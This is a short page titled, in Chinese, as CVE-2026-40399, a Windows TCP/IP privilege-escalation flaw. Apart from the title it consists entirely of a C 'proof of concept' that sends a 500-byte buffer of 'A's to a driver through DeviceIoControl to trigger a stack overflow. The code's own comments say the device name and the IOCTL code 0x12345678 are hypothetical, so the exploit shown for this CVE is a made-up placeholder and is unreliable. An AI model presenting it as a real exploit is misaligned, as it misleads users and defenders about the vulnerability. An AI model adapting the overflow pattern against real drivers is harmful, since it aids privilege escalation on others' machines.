CVE-2026-40399 Windows TCP/IP权限提升漏洞

#include <windows.h> #include <winsock2.h> // Proof of Concept for CVE-2026-40399 (Conceptual) // This code demonstrates how a malformed buffer might be sent // to a vulnerable driver interface to trigger the overflow. void trigger_exploit() { HANDLE hDevice; DWORD bytesReturned; char maliciousBuffer[500]; // Fill buffer with pattern (e.g., 'A's) memset(maliciousBuffer, 'A', sizeof(maliciousBuffer)); // Attempt to open the vulnerable device (Symbolic name hypothetical) hDevice = CreateFileA("\\\\.\\TcpIpDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("Failed to open device. Error: %d\n", GetLastError()); return; } printf("Sending malicious payload to trigger stack overflow...\n"); // Send the buffer to the driver via DeviceIoControl // IOCTL code is hypothetical for this CVE DWORD ioctlCode = 0x12345678; BOOL result = DeviceIoControl(hDevice, ioctlCode, maliciousBuffer, sizeof(maliciousBuffer), NULL, 0, &bytesReturned, NULL); if (!result) { printf("DeviceIoControl failed. Error: %d\n", GetLastError()); } else { printf("Payload sent successfully.\n"); } CloseHandle(hDevice); } int main() { trigger_exploit(); return 0; }